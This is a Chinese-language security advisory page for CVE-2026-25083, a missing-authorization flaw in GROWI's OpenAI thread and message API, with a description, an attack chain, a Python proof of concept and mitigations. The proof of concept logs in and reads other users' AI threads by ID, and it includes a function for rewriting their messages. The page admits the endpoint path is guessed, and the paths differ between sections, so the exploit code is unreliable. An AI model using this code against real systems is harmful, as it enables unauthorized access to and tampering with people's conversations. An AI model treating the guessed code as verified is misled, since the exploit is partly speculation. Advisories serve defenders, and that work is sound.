IPBUF安全漏洞报告
English
CVE-2026-25083 CVSS 8.3 高危

CVE-2026-25083 GROWI OpenAI API未授权访问漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-25083
漏洞类型
授权缺失
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GROWI

相关标签

授权缺失访问控制API安全GROWI未授权访问越权操作高危漏洞Web应用安全

漏洞概述

GROWI是一款开源的企业级Wiki系统,支持团队协作和知识管理。该漏洞存在于GROWI的OpenAI thread/message API端点中,由于未正确实施授权检查机制,导致已登录用户可以通过猜测或获知共享AI助手的唯一标识符,非法访问和篡改其他用户的线程及消息内容。攻击者利用此漏洞可获取敏感对话信息,或恶意修改AI助手生成的回复内容,对系统数据的机密性和完整性造成严重影响。该漏洞影响GROWI v7.4.5及更早版本。

技术细节

漏洞根源在于GROWI的OpenAI集成功能中,thread和message相关的API端点(推测为/api/v2/ai/threads/{threadId}/messages等路径)在处理请求时,仅验证了用户的登录状态,但未校验当前用户是否有权访问指定的thread资源。具体表现为:攻击者通过枚举或信息泄露获取目标用户的thread identifier后,直接使用该identifier构造API请求,系统错误地返回了属于其他用户的线程数据。攻击者可进一步通过修改请求中的threadId参数实现越权操作,包括查看完整对话历史、提取AI助手的上下文信息,甚至注入恶意内容到共享AI助手的响应中。

攻击链分析

STEP 1
步骤1
攻击者注册并登录GROWI系统,获取有效会话凭证
STEP 2
步骤2
攻击者通过社工、钓鱼或信息泄露获取目标用户的共享AI助手thread identifier
STEP 3
步骤3
攻击者构造恶意API请求,使用目标thread identifier访问/api/v2/ai/threads/{threadId}/messages端点
STEP 4
步骤4
GROWI服务器未校验授权即返回目标用户的完整线程消息内容,导致敏感信息泄露
STEP 5
步骤5
攻击者进一步利用PUT请求篡改线程中的消息内容,实现对AI助手响应的注入攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-25083 PoC - GROWI OpenAI API Unauthorized Access # Target: GROWI <= v7.4.5 BASE_URL = "http://target-growi-server.com" # Step 1: Authenticate and obtain session cookie def login(username, password): session = requests.Session() login_url = f"{BASE_URL}/_api/v3/auth/login" data = {"name": username, "password": password} resp = session.post(login_url, json=data) return session if resp.status_code == 200 else None # Step 2: Enumerate or obtain target thread ID (via social engineering or info leak) def get_target_thread_id(): # Target thread ID obtained through reconnaissance return "TARGET_THREAD_ID_HERE" # Step 3: Unauthorized access to other user's thread def access_other_user_thread(session, thread_id): headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } # API endpoint to retrieve thread messages without proper authorization url = f"{BASE_URL}/_api/v2/ai/threads/{thread_id}/messages" resp = session.get(url, headers=headers) if resp.status_code == 200: print(f"[SUCCESS] Unauthorized access to thread {thread_id}") return resp.json() else: print(f"[FAILED] Status: {resp.status_code}") return None # Step 4: Tamper with messages (if writable) def tamper_message(session, thread_id, message_id, new_content): url = f"{BASE_URL}/_api/v2/ai/threads/{thread_id}/messages/{message_id}" data = {"content": new_content} resp = session.put(url, json=data) return resp.status_code == 200 if __name__ == "__main__": # Replace with valid credentials session = login("[email protected]", "password123") if session: thread_id = get_target_thread_id() # Access victim's thread without authorization messages = access_other_user_thread(session, thread_id) if messages: print("Exfiltrated data:", json.dumps(messages, indent=2))

影响范围

GROWI < 7.4.6
GROWI v7.4.5及更早版本

防御指南

临时缓解措施
在官方补丁发布前,可临时采取以下措施:1) 限制OpenAI集成功能的使用范围,禁用共享AI助手;2) 加强对API访问的监控和告警,及时发现异常访问模式;3) 实施IP白名单或网络隔离策略,限制对管理接口的访问;4) 定期检查系统日志,排查是否存在未授权访问痕迹。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表